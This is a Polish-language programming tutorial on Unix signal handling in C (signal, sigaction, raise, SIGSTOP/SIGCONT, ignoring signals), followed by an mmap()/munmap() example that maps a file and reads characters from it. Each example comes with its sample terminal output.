Najpierw zacznijmy od przykładowego programu, który generuje wyjątek. W tym programie próbujemy wykonać operację dzielenia przez zero, co powoduje, że system generuje wyjątek.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Kroki kompilacji i wykonywania
Floating point exception (core dumped)
Tak więc, gdy próbujemy wykonać operację arytmetyczną, system wygenerował wyjątek zmiennoprzecinkowy ze zrzutem rdzenia, który jest domyślną akcją sygnału.
Teraz zmodyfikujmy kod, aby obsłużyć ten konkretny sygnał za pomocą wywołania systemowego signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Kroki kompilacji i wykonywania
Received SIGFPE, Divide by Zero Exception
Jak wspomniano, sygnały są generowane przez system (po wykonaniu pewnych operacji, takich jak dzielenie przez zero itp.) Lub użytkownik może również generować sygnał programowo. Jeśli chcesz programowo generować sygnał, użyj funkcji biblioteki raise ().
Teraz weźmy inny program, aby zademonstrować obsługę i ignorowanie sygnału.
Załóżmy, że podnieśliśmy sygnał za pomocą funkcji raise (), co się wtedy dzieje? Po podniesieniu sygnału wykonywanie bieżącego procesu zostaje zatrzymane. Co się dzieje z zatrzymanym procesem? Mogą istnieć dwa scenariusze - Po pierwsze, kontynuuj wykonywanie w razie potrzeby. Po drugie, zakończ proces (poleceniem kill).
Aby kontynuować wykonywanie zatrzymanego procesu, wyślij SIGCONT do tego konkretnego procesu. Możesz także wydać polecenia fg (pierwszy plan) lub bg (tło), aby kontynuować wykonywanie. Tutaj polecenia wznowiłyby tylko wykonanie ostatniego procesu. Jeśli zatrzymany zostanie więcej niż jeden proces, wznawiany jest tylko ostatni proces. Jeśli chcesz wznowić poprzednio zatrzymany proces, wznów zadania (używając fg / bg) wraz z numerem zadania.
Poniższy program służy do podniesienia sygnału SIGSTOP za pomocą funkcji raise (). Sygnał SIGSTOP można również wygenerować przez naciśnięcie klawisza CTRL + Z (Control + Z). Po wysłaniu tego sygnału program przestanie działać. Wyślij sygnał (SIGCONT), aby kontynuować wykonywanie.
W poniższym przykładzie wznawiamy zatrzymany proces poleceniem fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Kroki kompilacji i wykonywania
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Teraz ulepsz poprzedni program, aby kontynuować wykonywanie zatrzymanego procesu, wysyłając SIGCONT z innego terminala.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Kroki kompilacji i wykonywania
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
W innym terminalu
kill -SIGCONT 30379
Do tej pory widzieliśmy program, który obsługuje sygnał generowany przez system. Przyjrzyjmy się teraz sygnałowi wygenerowanemu przez program (za pomocą funkcji raise () lub polecenia kill). Ten program generuje sygnał SIGTSTP (zatrzymanie terminala), którego domyślną akcją jest zatrzymanie wykonywania. Ponieważ jednak obsługujemy teraz sygnał zamiast domyślnej akcji, trafi on do zdefiniowanej procedury obsługi. W tym przypadku drukujemy wiadomość i wychodzimy.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Kroki kompilacji i wykonywania
Testing SIGTSTP
Received SIGTSTP
Widzieliśmy przypadki wykonywania domyślnej akcji lub obsługi sygnału. Teraz nadszedł czas, aby zignorować ten sygnał. Tutaj, w tym przykładowym programie, rejestrujemy sygnał SIGTSTP do zignorowania poprzez SIG_IGN, a następnie zwiększamy sygnał SIGTSTP (zatrzymanie terminala). Gdy generowany jest sygnał SIGTSTP, zostałby zignorowany.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Kroki kompilacji i wykonywania
Testing SIGTSTP
Signal SIGTSTP is ignored
Jak dotąd zauważyliśmy, że mamy jeden program obsługi sygnału do obsługi jednego sygnału. Czy możemy mieć jedną procedurę obsługi do obsługi wielu sygnałów? Odpowiedź brzmi tak. Rozważmy to w programie.
Poniższy program wykonuje następujące czynności -
Step 1 - Rejestruje handler (handleSignals) do przechwytywania lub obsługi sygnałów SIGINT (CTRL + C) lub SIGQUIT (CTRL + \)
Step 2 - Jeśli użytkownik generuje sygnał SIGQUIT (albo przez komendę kill lub sterowanie klawiaturą z CTRL + \), program obsługi po prostu drukuje komunikat jako powrót.
Step 3 - Jeśli użytkownik generuje sygnał SIGINT (przez komendę kill lub sterowanie klawiaturą z CTRL + C), to modyfikuje sygnał, aby wykonać domyślną akcję (z SIG_DFL) od następnego razu.
Step 4 - Jeżeli użytkownik wygeneruje sygnał SIGINT drugi raz, to wykonuje domyślną akcję, jaką jest zakończenie programu.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Kroki kompilacji i wykonywania
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Inny terminal
kill 71
Druga metoda
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Wiemy, że aby obsłużyć sygnał, mamy dwa wywołania systemowe, tj. Signal () lub sigaction (). Do tej pory widzieliśmy wywołanie systemowe signal (), teraz jest czas na wywołanie systemowe sigaction (). Zmodyfikujmy powyższy program, aby działał za pomocą sigaction () w następujący sposób -
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Przyjrzyjmy się procesowi kompilacji i wykonywania. W procesie wykonywania zobaczmy dwukrotnie problem CTRL + C, pozostałe kontrole / sposoby (jak wyżej) możesz wypróbować również dla tego programu.
Kroki kompilacji i wykonywania
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
Wywołanie systemowe mmap () zapewnia mapowanie w wirtualnej przestrzeni adresowej procesu wywołującego, który mapuje pliki lub urządzenia w pamięci. Jest to dwojakiego rodzaju -
File mapping or File-backed mapping- To mapowanie mapuje obszar pamięci wirtualnej procesu na pliki. Oznacza to, że odczyt lub zapis w tych obszarach pamięci powoduje odczyt lub zapis pliku. To jest domyślny typ mapowania.
Anonymous mapping- To mapowanie mapuje obszar pamięci wirtualnej procesu bez wsparcia przez żaden plik. Zawartość jest inicjowana na zero. To mapowanie jest podobne do dynamicznej alokacji pamięci (malloc ()) i jest używane w niektórych implementacjach malloc () dla pewnych alokacji.
Pamięć w jednym mapowaniu procesu może być współdzielona z mapowaniami w innych procesach. Można to zrobić na dwa sposoby -
Kiedy dwa procesy mapują ten sam region pliku, współużytkują te same strony pamięci fizycznej.
Jeśli tworzony jest proces potomny, dziedziczy on odwzorowania rodzica i te mapowania odnoszą się do tych samych stron pamięci fizycznej, co strona nadrzędna. Po każdej zmianie danych w procesie podrzędnym zostaną utworzone różne strony dla procesu podrzędnego.
Gdy dwa lub więcej procesów współdzieli te same strony, każdy proces może zobaczyć zmiany zawartości strony wprowadzone przez inne procesy w zależności od typu mapowania. Typ mapowania może być prywatny lub współdzielony -
Private Mapping (MAP_PRIVATE) - Modyfikacje zawartości tego mapowania nie są widoczne dla innych procesów, a mapowanie nie jest przenoszone do podstawowego pliku.
Shared Mapping (MAP_SHARED) - Modyfikacje zawartości tego mapowania są widoczne dla innych procesów, a mapowanie jest przenoszone do podstawowego pliku.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Powyższe wywołanie systemowe zwraca początkowy adres mapowania w przypadku sukcesu lub MAP_FAILED w przypadku błędu.
Adres wirtualny addr może być określony przez użytkownika lub wygenerowany przez jądro (po przekazaniu addr jako NULL). Wskazana długość pola wymaga rozmiaru mapowania w bajtach. Pole prot wskazuje wartości ochrony pamięci, takie jak PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC, przeznaczone dla regionów, do których nie można uzyskać dostępu, odczytać, zapisać lub wykonać odpowiednio. Ta wartość może być pojedyncza (PROT_NONE) lub może być ORd z dowolną z trzech flag (ostatnie 3). Flagi pól wskazują typ odwzorowania albo MAP_PRIVATE albo MAP_SHARED. Pole „fd” wskazuje deskryptor pliku identyfikujący plik do odwzorowania, a pole „offset” oznacza punkt początkowy pliku, jeśli trzeba odwzorować cały plik, offset powinien wynosić zero.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
Powyższe wywołanie systemowe zwraca 0 w przypadku sukcesu lub -1 w przypadku błędu.
Wywołanie systemowe munmap powoduje usunięcie mapowania regionu już zmapowanego w pamięci. Pole addr wskazuje początkowy adres odwzorowania, a długość wskazuje rozmiar w bajtach odwzorowania, które ma zostać usunięte. Zwykle mapowanie i usuwanie mapowania będzie dotyczyło całych mapowanych regionów. Jeśli ma być inaczej, należy go albo skurczyć, albo przeciąć na dwie części. Jeśli addr nie ma żadnych mapowań, to wywołanie nie miałoby żadnego efektu, a wywołanie zwróciło 0 (sukces).
Rozważmy przykład -
Step 1 - Wpisz do pliku znaki alfanumeryczne, jak pokazano poniżej -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Zmapuj zawartość pliku do pamięci za pomocą wywołania systemowego mmap (). To zwróci adres początkowy po zmapowaniu do pamięci.
Step 3- Uzyskaj dostęp do zawartości pliku za pomocą notacji tablicowej (można również uzyskać dostęp za pomocą notacji wskaźnika), ponieważ nie czyta drogiego wywołania systemowego read (). Korzystając z mapowania pamięci, unikaj wielokrotnego kopiowania między przestrzenią użytkownika, buforami przestrzeni jądra i pamięcią podręczną buforów.
Step 4 - Powtarzaj czytanie zawartości pliku, aż użytkownik wpisze „-1” (oznacza koniec dostępu).
Step 5 - Wykonywanie czynności porządkujących, tj. Usuwanie mapowania zmapowanego regionu pamięci (munmap ()), zamykanie pliku i usuwanie pliku.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Wynik
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1